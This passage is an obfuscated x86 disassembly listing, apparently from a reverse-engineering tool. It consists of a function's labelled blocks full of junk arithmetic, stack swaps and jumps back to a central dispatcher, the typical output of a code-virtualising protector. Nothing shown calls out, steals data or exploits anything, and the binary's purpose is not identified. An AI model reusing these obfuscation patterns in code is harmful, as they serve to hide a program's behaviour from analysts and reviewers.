		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+72h+var_74+2]
		pop	esp
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	713Ch
		mov	[esp+72h+var_74+2], esi
		mov	esi, esp
		jmp	loc_58C9BF
; ---------------------------------------------------------------------------


loc_5881F2:				; CODE XREF: sub_57DD3A+A382j
		add	dl, 61h
		jmp	loc_5849B1
; ---------------------------------------------------------------------------


loc_5881FA:				; CODE XREF: sub_57DD3A+782Cj
		xor	eax, 575925FCh
		jmp	loc_581DB7
; ---------------------------------------------------------------------------


loc_588204:				; CODE XREF: sub_57DD3A+48A3j
		add	edi, 1C925B32h
		add	edi, esi
		sub	edi, 1C925B32h
		pop	esi
		shl	edi, 8
		sub	edi, 355E2773h
		sub	ebx, 4F203988h
		add	ebx, edi
		add	ebx, 4F203988h
		jmp	loc_58324B
; ---------------------------------------------------------------------------


loc_58822F:				; CODE XREF: sub_57DD3A+B834j
		dec	edx
		shl	edx, 8
		not	edx
		sub	edx, 0B7C807Fh
		and	ecx, edx
		mov	edx, [esp+74h+var_74]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_584A3C
; ---------------------------------------------------------------------------


loc_58824F:				; CODE XREF: sub_57DD3A+549Aj
		not	ebx
		or	ebx, 32825F97h
		dec	ebx
		shr	ebx, 3
		jmp	loc_58C7BC
; ---------------------------------------------------------------------------


loc_588260:				; CODE XREF: sub_57DD3A+6F84j
		add	ebp, 0D04826F9h
		add	[esp+90h+var_8C], ebp
		pop	ebp
		jmp	loc_5837FE
; ---------------------------------------------------------------------------


loc_588270:				; CODE XREF: sub_57DD3A+FB34j
		mov	[esp+8Ch+var_8C], esi
		jmp	loc_589551
; ---------------------------------------------------------------------------


loc_588278:				; CODE XREF: sub_57DD3A+DC44j
		push	7BD475F9h
		pop	ebx
		jmp	loc_5888C0
; ---------------------------------------------------------------------------


loc_588283:				; CODE XREF: sub_57DD3A+4512j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+76h+var_78+2]
		mov	esp, [esp+76h+var_78+2]
		jmp	loc_58731A
; ---------------------------------------------------------------------------


loc_588297:				; CODE XREF: sub_57DD3A+E100j
		push	[esp+76h+var_78+2]
		pop	ebx
		push	edi
		mov	edi, esp
		push	4CEFh
		jmp	loc_58D04E
; ---------------------------------------------------------------------------


loc_5882A8:				; CODE XREF: sub_57DD3A+4D6Bj
		mov	ecx, edi
		pop	edi
		add	ecx, 6CAA722Bh
		xor	ecx, 57D25B72h
		jmp	loc_585214
; ---------------------------------------------------------------------------


loc_5882BC:				; CODE XREF: sub_57DD3A+F2C0j
		mov	ebp, [esp+68h+var_68]
		jmp	loc_582249
; ---------------------------------------------------------------------------
		dd 240C8B66h, 42A16853h, 4EE90000h
; ---------------------------------------------------------------------------
		retn	0FFFFh
; ---------------------------------------------------------------------------


loc_5882D3:				; CODE XREF: sub_57DD3A+5F39j
		sub	byte ptr [esp+82h+var_84+2], dh
		jmp	loc_58343F
; ---------------------------------------------------------------------------


loc_5882DB:				; CODE XREF: sub_57DD3A+DAE5j
		mov	bl, ch
		not	bl
		jmp	loc_5873A6
; ---------------------------------------------------------------------------


loc_5882E4:				; CODE XREF: sub_57DD3A+D1D7j
		mov	[esp+82h+var_84+2], esi
		push	31E4h
		mov	[esp+86h+var_88+2], edi
		push	ebx
		mov	ebx, 727A6DF5h
		and	ebx, 36A01607h
		xor	ebx, 7467271Bh
		add	ebx, 1E9112BEh
		mov	edi, ebx
		pop	ebx
		jmp	loc_58C6DD
; ---------------------------------------------------------------------------


loc_58830F:				; CODE XREF: sub_57DD3A+BE6Ej
		mov	ecx, 49016808h
		sub	esp, 4
		jmp	loc_58369F
; ---------------------------------------------------------------------------


loc_58831C:				; CODE XREF: sub_57DD3A+DF2Ej
		mov	[esp+8Ah+var_8C+2], eax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588324:				; CODE XREF: sub_57DD3A+C0D7j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5873EB
; ---------------------------------------------------------------------------


loc_588331:				; CODE XREF: sub_57DD3A+94F5j
		xor	dl, bl
		pop	ebx
		add	bl, dl
		pop	edx
		jmp	loc_58AA13
; ---------------------------------------------------------------------------


loc_58833C:				; CODE XREF: sub_57DD3A+E361j
		xchg	ebx, [esp+56h+var_58+2]
		pop	esp
		jmp	loc_58B1EC
; ---------------------------------------------------------------------------


loc_588345:				; CODE XREF: sub_57DD3A+E745j
		mov	cl, 0BBh
		sub	cl, 0A0h
		add	cl, 0EDh
		jmp	loc_584EAD
; ---------------------------------------------------------------------------


loc_588352:				; CODE XREF: sub_57DD3A+7B89j
		add	ecx, 4
		xchg	ecx, [esp+5Ah+var_5C+2]
		pop	esp
		jmp	loc_58C769
; ---------------------------------------------------------------------------


loc_58835E:				; CODE XREF: sub_57DD3A+5960j
		push	ecx
		push	ebx
		push	ecx
		mov	cl, 35h
		mov	bl, cl
		jmp	loc_58894C
; ---------------------------------------------------------------------------


loc_58836A:				; CODE XREF: sub_57DD3A+8148j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_586398
; ---------------------------------------------------------------------------


loc_58837B:				; CODE XREF: sub_57DD3A+54C0j
		pop	ebx
		mov	ebp, [esp+7Ah+var_7C+2]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp+76h+var_78+2]
		mov	esp, [esp+76h+var_78+2]
		ror	byte ptr [esp+76h+var_78+2], cl
		pushf
		jmp	loc_585DCF
; ---------------------------------------------------------------------------


loc_588394:				; CODE XREF: sub_57DD3A+788Dj
		push	61D1h
		mov	[esp+0C4h+var_C4], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		push	0
		pop	eax
		add	eax, ebx
		add	dword ptr [eax], 1
		jmp	loc_587B59
; ---------------------------------------------------------------------------


loc_5883B7:				; CODE XREF: sub_57DD3A+449Dj
		pop	esi
		push	edi
		mov	edi, 0B27218Ah
		or	edi, 7A612FA6h
		jmp	loc_58C85E
; ---------------------------------------------------------------------------


loc_5883C9:				; CODE XREF: sub_57DD3A+404Fj
		and	cx, 48A4h
		shr	cx, 4
		not	cx
		jmp	loc_58ADDE
; ---------------------------------------------------------------------------


loc_5883DA:				; CODE XREF: sub_57DD3A+C7BAj
		not	dl
		add	dl, 88h
		jmp	loc_586267
; ---------------------------------------------------------------------------


loc_5883E4:				; CODE XREF: sub_57DD3A+835Aj
		mov	eax, [esp+4Eh+var_50+2]
		add	esp, 4
		xor	edx, 0B925B72h
		push	esi
		jmp	loc_581984
; ---------------------------------------------------------------------------


loc_5883F6:				; CODE XREF: sub_57DD3A+5B5Dj
		or	ebx, 5E0C4AB3h
		sub	ebx, 0DAFAC56Eh
		jmp	loc_58DABE
; ---------------------------------------------------------------------------


loc_588407:				; CODE XREF: sub_57DD3A+B2C5j
		pop	esi
		sub	edi, 7DFADFFBh
		jmp	loc_586834
; ---------------------------------------------------------------------------


loc_588413:				; CODE XREF: sub_57DD3A+4468j
		push	ecx
		jmp	loc_587F2A
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], ebx
		push	3619h
		mov	[esp+7Eh+var_80+2], ecx
		jmp	loc_587ADD
; ---------------------------------------------------------------------------
		push	[esp+7Eh+var_80+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+86h+var_88+2], ecx
		mov	ecx, 31157918h
		jmp	loc_5835A5
; ---------------------------------------------------------------------------


loc_58844C:				; CODE XREF: sub_57DD3A+9C0Aj
		add	esi, eax
		jmp	loc_58BCC9
; ---------------------------------------------------------------------------


loc_588453:				; CODE XREF: sub_57DD3A+434Dj
		xor	ecx, [esp+6Ah+var_6C+2]
		pop	esp
		push	5723h
		jmp	loc_58C729
; ---------------------------------------------------------------------------


loc_588461:				; CODE XREF: sub_57DD3A+8C0Dj
		mov	ebp, 1D923297h
		xor	edx, ebp
		pop	ebp
		and	edx, 35F036CEh
		jmp	loc_586E65
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+62h+var_64+2]
		push	2423h
		mov	[esp+66h+var_68+2], ebx
		mov	ebx, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5873B3
; ---------------------------------------------------------------------------


loc_588493:				; CODE XREF: sub_57DD3A+D354j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		jmp	loc_5848A9
; ---------------------------------------------------------------------------
		push	[esp+6Ah+var_6C+2]
		jmp	loc_58DEC4
; ---------------------------------------------------------------------------


loc_5884AE:				; CODE XREF: sub_57DD3A+68E6j
		push	esi
		mov	esi, 7A197373h
		and	edx, esi
		jmp	loc_58DEA5
; ---------------------------------------------------------------------------


loc_5884BB:				; CODE XREF: sub_57DD3A+F6F3j
		push	231Dh
		mov	[esp+8Ah+var_8C+2], ecx
		push	ebx
		push	esi
		mov	esi, 5C271E84h
		xor	esi, 0BF143D0h
		shr	esi, 6
		and	esi, 36F42CBAh
		jmp	loc_5829B8
; ---------------------------------------------------------------------------


loc_5884DE:				; CODE XREF: sub_57DD3A+B289j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5884E3:				; CODE XREF: sub_57DD3A+8E0Dj
		pop	edx
		sub	eax, 793B3CC7h
		push	[esp+60h+var_60]
		pop	esi
		push	ecx
		jmp	loc_582F31
; ---------------------------------------------------------------------------


loc_5884F3:				; CODE XREF: sub_57DD3A+D5E0j
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_58AD34
; ---------------------------------------------------------------------------


loc_588500:				; CODE XREF: sub_57DD3A+967Cj
		mov	esp, [esp+9Ch+var_9C]
		jmp	loc_58CD35
; ---------------------------------------------------------------------------


loc_588508:				; CODE XREF: sub_57DD3A+AF37j
		and	edi, 39FE53BFh
		sub	edi, 19DA538Ch
		add	ecx, edi
		pop	edi
		jmp	loc_586212
; ---------------------------------------------------------------------------


loc_58851C:				; CODE XREF: sub_57DD3A+FFB0j
		xor	eax, ebx
		jmp	loc_58777B
; ---------------------------------------------------------------------------


loc_588523:				; CODE XREF: sub_57DD3A+DE93j
		pop	eax
		xor	ebp, [esp+94h+var_94]
		xor	[esp+94h+var_94], ebp
		xor	ebp, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		mul	cx
		push	6A28h
		mov	[esp+98h+var_98], edi
		jmp	loc_586FAD
; ---------------------------------------------------------------------------


loc_588540:				; CODE XREF: sub_57DD3A+FE24j
		add	[esp+98h+var_98], 4
		pop	ebp
		push	2D80h
		mov	[esp+98h+var_98], ecx
		mov	ecx, 4
		jmp	loc_58B7F2
; ---------------------------------------------------------------------------


loc_588557:				; CODE XREF: sub_57DD3A+6244j
		shl	edi, 6
		shl	edi, 1
		push	edx
		mov	edx, 0BBA43A04h
		xor	edi, edx
		pop	edx
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_58423E
; ---------------------------------------------------------------------------


loc_588576:				; CODE XREF: sub_57DD3A+B1E2j
		add	ebp, edx
		push	ebx
		mov	ebx, 3D4805A1h
		add	ebp, ebx
		jmp	loc_58CE4B
; ---------------------------------------------------------------------------


loc_588585:				; CODE XREF: sub_57DD3A+1013Dj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0BCh+var_BC]
		jmp	loc_58DA82
; ---------------------------------------------------------------------------


loc_58859B:				; CODE XREF: sub_57DD3A+3F3Aj
		push	1
		mov	edx, [esp+88h+var_88]
		push	5A77h
		mov	[esp+8Ch+var_8C], ecx
		push	esp
		jmp	loc_5852C6
; ---------------------------------------------------------------------------


loc_5885B1:				; CODE XREF: sub_57DD3A+9C69j
		inc	eax
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edi
		mov	edi, 0C63C9068h
		add	eax, 45B73C9h
		jmp	loc_584D3C
; ---------------------------------------------------------------------------


loc_5885CA:				; CODE XREF: sub_57DD3A+83B6j
		add	esp, 4
		jmp	loc_583280
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5885DA:				; CODE XREF: sub_57DD3A+E701j
		push	599h
		mov	[esp+0], edx
		mov	edx, 4
		sub	ebx, 5BB422CAh
		add	ebx, 2B1B5495h
		add	ebx, edx
		sub	ebx, 2B1B5495h
		jmp	loc_58D9C6
; ---------------------------------------------------------------------------


loc_588600:				; CODE XREF: sub_57DD3A+59C5j
		add	edx, eax
		jmp	loc_58D426
; ---------------------------------------------------------------------------


loc_588607:				; CODE XREF: sub_57DD3A+CE16j
		sub	esp, 4
		jmp	loc_587827
; ---------------------------------------------------------------------------


loc_588612:				; CODE XREF: sub_57DD3A+A3BAj
		push	ebx
		push	7E41h
		mov	[esp+0AAh+var_AC+2], edi
		mov	edi, 385A462Dh
		mov	ebx, 385A4629h
		xor	ebx, edi
		pop	edi
		jmp	loc_587DCA
; ---------------------------------------------------------------------------


loc_58862D:				; CODE XREF: sub_57DD3A+4CA1j
		xchg	ebx, [esp+68h+var_68]
		pop	esp
		add	edx, ecx
		pop	ecx
		jmp	loc_589AA4
; ---------------------------------------------------------------------------


loc_588639:				; CODE XREF: sub_57DD3A+D44Ej
		push	6AF3h
		mov	[esp+64h+var_64], edx
		push	4
		pop	edx
		add	[esp+64h+var_60], 493865E3h
		jmp	loc_585E6D
; ---------------------------------------------------------------------------


loc_588654:				; CODE XREF: sub_57DD3A+A19Fj
		pop	bx
		jmp	loc_586207
; ---------------------------------------------------------------------------


loc_58865B:				; CODE XREF: sub_57DD3A+8193j
		mov	[esp+54h+var_54], eax
		push	esp
		pop	eax
		push	edi
		push	7137758Bh
		pop	edi
		shr	edi, 2
		sub	edi, 1C4DDD5Eh
		add	eax, edi
		pop	edi
		push	ebp
		push	eax
		jmp	loc_585948
; ---------------------------------------------------------------------------


loc_58867A:				; CODE XREF: sub_57DD3A+ACA2j
		mov	edi, 11784086h
		jmp	loc_5888E8
; ---------------------------------------------------------------------------


loc_588684:				; CODE XREF: sub_57DD3A+FE43j
		pop	edi
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		shr	edx, 5
		add	edx, 0F8440163h
		jmp	loc_5819F8
; ---------------------------------------------------------------------------


loc_588699:				; CODE XREF: sub_57DD3A+E2C1j
		mov	esi, [esp+58h+var_58]
		jmp	loc_58674B
; ---------------------------------------------------------------------------


loc_5886A1:				; CODE XREF: sub_57DD3A+E991j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 466208B8h
		neg	edi
		jmp	loc_583585
; ---------------------------------------------------------------------------


loc_5886B0:				; CODE XREF: sub_57DD3A+46A0j
		sub	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		xor	eax, esi
		mov	esi, [esp+82h+var_84+2]
		push	eax
		jmp	loc_5837E4
; ---------------------------------------------------------------------------


loc_5886C1:				; CODE XREF: sub_57DD3A+D68Cj
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		jmp	loc_581FDB
; ---------------------------------------------------------------------------


loc_5886CA:				; CODE XREF: sub_57DD3A+744Fj
		pop	esp
		mov	[esp+8Ch+var_8C], esi
		push	ebx
		jmp	loc_5834F5
; ---------------------------------------------------------------------------


loc_5886D4:				; CODE XREF: sub_57DD3A+5F6Cj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+88h+var_88]
		pop	esp
		sub	edi, 4
		xchg	edi, [esp+84h+var_84]
		jmp	loc_586DA7
; ---------------------------------------------------------------------------


loc_5886EE:				; CODE XREF: sub_57DD3A+ACB6j
		mov	[esp+84h+var_84], ecx
		push	edx
		mov	dl, 0A7h
		jmp	loc_586F32
; ---------------------------------------------------------------------------


loc_5886F9:				; CODE XREF: sub_57DD3A+BA62j
		push	204Eh
		mov	[esp+8Ch+var_8C], esp
		add	[esp+8Ch+var_8C], 4
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		push	ebp
		mov	ebp, 6F8E0B3Ah
		xor	ebp, 7982448Fh
		xor	ebp, 5EB123A7h
		jmp	loc_589BB4
; ---------------------------------------------------------------------------


loc_588728:				; CODE XREF: sub_57DD3A+5CDDj
		add	ebx, 4
		jmp	loc_58DE7C
; ---------------------------------------------------------------------------


loc_588733:				; CODE XREF: sub_57DD3A+F5A5j
		pop	ecx
		jmp	loc_58B483
; ---------------------------------------------------------------------------


loc_588739:				; CODE XREF: sub_57DD3A+3D69j
		xor	eax, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], eax
		xor	eax, [esp+5Eh+var_60+2]
		pop	esp
		bt	word ptr [esp+5Ah+var_5C+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58874E:				; CODE XREF: sub_57DD3A+E37Bj
		mov	esp, [esp+5Eh+var_60+2]
		pop	[esp+5Eh+var_60+2]
		mov	esp, [esp+5Ah+var_5C+2]
		btc	word ptr [esp+5Ah+var_5C+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588762:				; CODE XREF: sub_57DD3A+8E77j
		pop	eax
		inc	eax
		and	eax, 125C4198h
		jmp	loc_584A57
; ---------------------------------------------------------------------------


loc_58876E:				; CODE XREF: sub_57DD3A+728Fj
		mov	bl, 0C2h
		add	al, 4Eh
		jmp	loc_585D6F
; ---------------------------------------------------------------------------


loc_588777:				; CODE XREF: sub_57DD3A+986Aj
		sub	eax, 0E28CB640h
		or	ebx, eax
		pop	eax
		jmp	loc_586B5B
; ---------------------------------------------------------------------------


loc_588784:				; CODE XREF: sub_57DD3A+9BE7j
		push	ecx
		mov	ecx, 75AF3FB4h
		jmp	loc_5868BF
; ---------------------------------------------------------------------------


loc_58878F:				; CODE XREF: sub_57DD3A+6F00j
		push	esi
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		jmp	loc_58CA6F
; ---------------------------------------------------------------------------


loc_58879A:				; CODE XREF: sub_57DD3A+ED7Dj
		pop	esp
		mov	cx, word ptr [esp+86h+var_88+2]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 0A201CB8h
		dec	esi
		shl	esi, 2
		and	esi, 63C01779h
		shl	esi, 6
		sub	esi, 200495FCh
		sub	edx, 1EB83667h
		jmp	loc_58C59B
; ---------------------------------------------------------------------------


loc_5887C6:				; CODE XREF: sub_57DD3A+6938j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ecx
		mov	ch, 0AFh
		shr	ch, 2
		xor	ch, 54h
		and	al, ch
		push	[esp+0A0h+var_A0]
		mov	ecx, [esp+0A4h+var_A4]
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp+0A8h+var_A8]
		jmp	loc_58AF82
; ---------------------------------------------------------------------------


loc_5887EE:				; CODE XREF: sub_57DD3A+5BB4j
		add	al, bl
		jmp	loc_58B7B1
; ---------------------------------------------------------------------------


loc_5887F5:				; CODE XREF: sub_57DD3A+6A4Cj
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		inc	ebx
		inc	ebx
		jmp	loc_5878E6
; ---------------------------------------------------------------------------


loc_588804:				; CODE XREF: sub_57DD3A+6A38j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0C8h+var_C8]
		pop	esp
		jmp	loc_58D8E9
; ---------------------------------------------------------------------------
		push	[esp+0C4h+var_C4]
		push	[esp+0C8h+var_C8]
		pop	edx
		jmp	loc_582C1F
; ---------------------------------------------------------------------------


loc_588827:				; CODE XREF: sub_57DD3A+8DDDj
		add	ebx, 4
		push	ecx
		push	4
		pop	ecx
		add	ebx, ecx
		mov	ecx, [esp+64h+var_64]
		add	esp, 4
		xchg	ebx, [esp+60h+var_60]
		jmp	loc_5824D6
; ---------------------------------------------------------------------------


loc_588844:				; CODE XREF: sub_57DD3A+EBD2j
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+5Ch+var_5C]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_58CF5F
; ---------------------------------------------------------------------------


loc_58885B:				; CODE XREF: sub_57DD3A+6F17j
		inc	edx
		jmp	loc_5899F6
; ---------------------------------------------------------------------------


loc_588861:				; CODE XREF: sub_57DD3A+DE5Aj
		add	ebp, 344A506Dh
		pop	edi
		push	ebp
		push	[esp+8Ch+var_88]
		pop	ebp
		pop	[esp+8Ch+var_8C]
		mov	esp, [esp+88h+var_88]
		and	word ptr [esp+88h+var_88], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Ch+var_8C]
		push	ecx
		push	esp
		push	[esp+94h+var_94]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+94h+var_94], ebx
		mov	ebx, 4
		jmp	loc_58B18D
; ---------------------------------------------------------------------------


loc_58889B:				; CODE XREF: sub_57DD3A+87C1j
		pop	ecx
		jmp	loc_5823DF
; ---------------------------------------------------------------------------


loc_5888A1:				; CODE XREF: sub_57DD3A+66DAj
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp+0BEh+var_C0+2]
		pop	esp
		jmp	loc_581CFE
; ---------------------------------------------------------------------------


loc_5888B3:				; CODE XREF: sub_57DD3A+100F7j
		push	esp
		jmp	loc_586221
; ---------------------------------------------------------------------------


loc_5888B9:				; CODE XREF: sub_57DD3A+9FA4j
		add	edx, ebp
		jmp	loc_589094
; ---------------------------------------------------------------------------


loc_5888C0:				; CODE XREF: sub_57DD3A+A544j
		sub	esp, 4
		mov	[esp+90h+var_90], edi
		mov	edi, 6AC50346h
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		pop	ebx
		jmp	loc_586489
; ---------------------------------------------------------------------------


loc_5888D9:				; CODE XREF: sub_57DD3A+951Aj
		push	ebx
		mov	bh, 94h
		push	edx
		jmp	loc_582907
; ---------------------------------------------------------------------------


loc_5888E2:				; CODE XREF: sub_57DD3A+67ADj
		push	esi
		jmp	loc_5898A6
; ---------------------------------------------------------------------------


loc_5888E8:				; CODE XREF: sub_57DD3A+A945j
		xor	ebp, edi
		pop	edi
		xor	ebp, 40829211h
		sub	ebx, 5B855386h
		add	ebx, ebp
		add	ebx, 5B855386h
		pop	ebp
		and	eax, ebx
		pop	ebx
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp+58h+var_58], ebx
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		push	[esp+54h+var_54]
		pop	ebx
		add	esp, 4
		push	1FD0h
		mov	[esp+54h+var_54], ebx
		xchg	ebx, [esp+54h+var_54]
		jmp	loc_581EF9
; ---------------------------------------------------------------------------


loc_588932:				; CODE XREF: sub_57DD3A+E758j
		push	edi
		mov	edi, 0
		sub	edi, ebp
		jmp	loc_582528
; ---------------------------------------------------------------------------


loc_58893F:				; CODE XREF: sub_57DD3A+8645j
		push	ebx
		mov	ebx, 7A321ACAh
		xchg	esi, ebx
		jmp	loc_5876A0
; ---------------------------------------------------------------------------


loc_58894C:				; CODE XREF: sub_57DD3A+A62Bj
		pop	ecx
		neg	bl
		jmp	loc_588054
; ---------------------------------------------------------------------------


loc_588954:				; CODE XREF: sub_57DD3A+C788j
		or	ecx, 43186D3Bh
		xor	ecx, 4C606E2Ah
		sub	ecx, 0F6668575h
		sub	ebx, ecx
		pop	ecx
		push	esi
		jmp	loc_585EEC
; ---------------------------------------------------------------------------


loc_58896F:				; CODE XREF: sub_57DD3A+8E88j
		push	small word ptr [eax]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588977:				; CODE XREF: sub_57DD3A+8AE6j
		xor	bl, dh
		pop	edx
		mov	ah, bl
		pop	ebx
		add	bl, 0B2h
		sub	bl, ah
		jmp	loc_584EC4
; ---------------------------------------------------------------------------


loc_588987:				; CODE XREF: sub_57DD3A+9C9Cj
		xchg	edi, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		idiv	ecx
		push	4ACCh
		mov	[esp+84h+var_84], edx
		jmp	loc_582B38
; ---------------------------------------------------------------------------


loc_58899C:				; CODE XREF: sub_57DD3A+5541j
		push	40CCh
		mov	[esp+5Ah+var_5C+2], ebx
		mov	ebx, 4
		add	[esp+5Ah+var_58+2], ebx
		jmp	loc_58208C
; ---------------------------------------------------------------------------


loc_5889B2:				; CODE XREF: sub_57DD3A+A341j
		mov	eax, ecx
		pop	ecx
		sub	eax, 732F4845h
		and	eax, 385C51ACh
		jmp	loc_581BD9
; ---------------------------------------------------------------------------


loc_5889C4:				; CODE XREF: sub_57DD3A+AF28j
		push	0
		sub	[esp+92h+var_94+2], ebx
		pop	ebx
		push	ebp
		mov	ebp, 4D2F77E4h
		sub	esp, 4
		mov	[esp+96h+var_98+2], edi
		jmp	loc_58867A
; ---------------------------------------------------------------------------


loc_5889E1:				; CODE XREF: sub_57DD3A+DB02j
		add	ebp, 2
		xchg	ebp, [esp+96h+var_98+2]
		pop	esp
		push	3DCDh
		jmp	loc_5886EE
; ---------------------------------------------------------------------------


loc_5889F5:				; CODE XREF: sub_57DD3A+975Cj
		mov	bh, dl
		pop	edx
		sub	al, bh
		pop	bx
		xor	bl, al
		push	eax
		mov	eax, 22616A88h
		jmp	loc_589BD2
; ---------------------------------------------------------------------------


loc_588A09:				; CODE XREF: sub_57DD3A+5A13j
		or	ebp, 69C020B5h
		not	ebp
		xor	ebp, 89C262B3h
		jmp	loc_5836F6
; ---------------------------------------------------------------------------


loc_588A1C:				; CODE XREF: sub_57DD3A+ECA1j
		pop	ebx
		jmp	loc_5859F9
; ---------------------------------------------------------------------------


loc_588A22:				; CODE XREF: sub_57DD3A+556Aj
		mov	edi, 4
		jmp	loc_583DEE
; ---------------------------------------------------------------------------


loc_588A2C:				; CODE XREF: sub_57DD3A+C9E3j
		pop	ebp
		jmp	loc_588D5B
; ---------------------------------------------------------------------------


loc_588A32:				; CODE XREF: sub_57DD3A+B6BEj
		mov	edi, 6B1512A3h
		add	ebp, edi
		mov	edi, [esp+5Ah+var_5C+2]
		add	esp, 4
		shr	ebp, 2
		shl	ebp, 1
		push	ecx
		mov	ecx, 0
		jmp	loc_5843BA
; ---------------------------------------------------------------------------


loc_588A52:				; CODE XREF: sub_57DD3A+B5F5j
		sub	eax, 7C361E58h
		jmp	loc_58BD60
; ---------------------------------------------------------------------------


loc_588A5C:				; CODE XREF: sub_57DD3A+9054j
		xchg	edi, [esp+0DCh+var_DC]
		pop	esp
		push	esi
		jmp	loc_583462
; ---------------------------------------------------------------------------


loc_588A66:				; CODE XREF: sub_57DD3A+457Bj
		sub	ebp, edx
		jmp	loc_588CD8
; ---------------------------------------------------------------------------


loc_588A6D:				; CODE XREF: sub_57DD3A+78BAj
		pop	edi
		xchg	edx, [esp+0BEh+var_C0+2]
		jmp	loc_587EDE
; ---------------------------------------------------------------------------


loc_588A76:				; CODE XREF: sub_57DD3A+5213j
		mov	eax, 6E4077Bh
		mov	edx, eax
		mov	eax, [esp+88h+var_88]
		push	6A6Bh
		mov	[esp+8Ch+var_8C], eax
		jmp	loc_5858A7
; ---------------------------------------------------------------------------


loc_588A8D:				; CODE XREF: sub_57DD3A+5917j
		add	esp, 4
		sub	edx, 4
		push	edx
		push	[esp+0A4h+var_A0]
		pop	edx
		jmp	loc_5896F6
; ---------------------------------------------------------------------------


loc_588A9E:				; CODE XREF: sub_57DD3A+7AF8j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58B7A9
; ---------------------------------------------------------------------------


loc_588AAC:				; CODE XREF: sub_57DD3A+50EEj
		sub	esp, 4
		mov	[esp+80h+var_80], ecx
		mov	ecx, 5EAD208Eh
		or	edx, ecx
		pop	ecx
		add	edx, 55CE433Ch
		sub	edx, 0D58BC03Bh
		push	edx
		add	[esp+80h+var_80], 6CAD0CB2h
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		sub	eax, 6CAD0CB2h
		pop	edx
		jmp	loc_587BA8
; ---------------------------------------------------------------------------


loc_588AE5:				; CODE XREF: sub_57DD3A+6F69j
		mov	edi, 1C395A1Eh
		jmp	loc_581C6B
; ---------------------------------------------------------------------------


loc_588AEF:				; CODE XREF: sub_57DD3A+B9A9j
		pop	esp
		jmp	loc_58A1B5
; ---------------------------------------------------------------------------


loc_588AF5:				; CODE XREF: sub_57DD3A+C8BBj
		sub	esp, 4
		jmp	loc_589E7A
; ---------------------------------------------------------------------------


loc_588B00:				; CODE XREF: sub_57DD3A+8684j
		pop	edi
		xchg	esi, [esp+60h+var_60]
		pop	esp
		dec	word ptr [esp+5Ch+var_5C]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588B0F:				; CODE XREF: sub_57DD3A+7FD2j
		push	esi
		jmp	loc_584E00
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+6Ah+var_6C+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588B25:				; CODE XREF: sub_57DD3A+7C85j
		mov	word ptr [esp+68h+var_68], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588B35:				; CODE XREF: sub_57DD3A+DEFCj
		add	esp, 4
		push	72DAh
		mov	[esp+6Eh+var_70+2], ebp
		sub	esp, 4
		mov	[esp+72h+var_74+2], eax
		mov	eax, 583A5ED9h
		dec	eax
		push	ebx
		mov	ebx, 17812CAEh
		sub	eax, ebx
		mov	ebx, [esp+76h+var_78+2]
		add	esp, 4
		jmp	loc_58389C
; ---------------------------------------------------------------------------


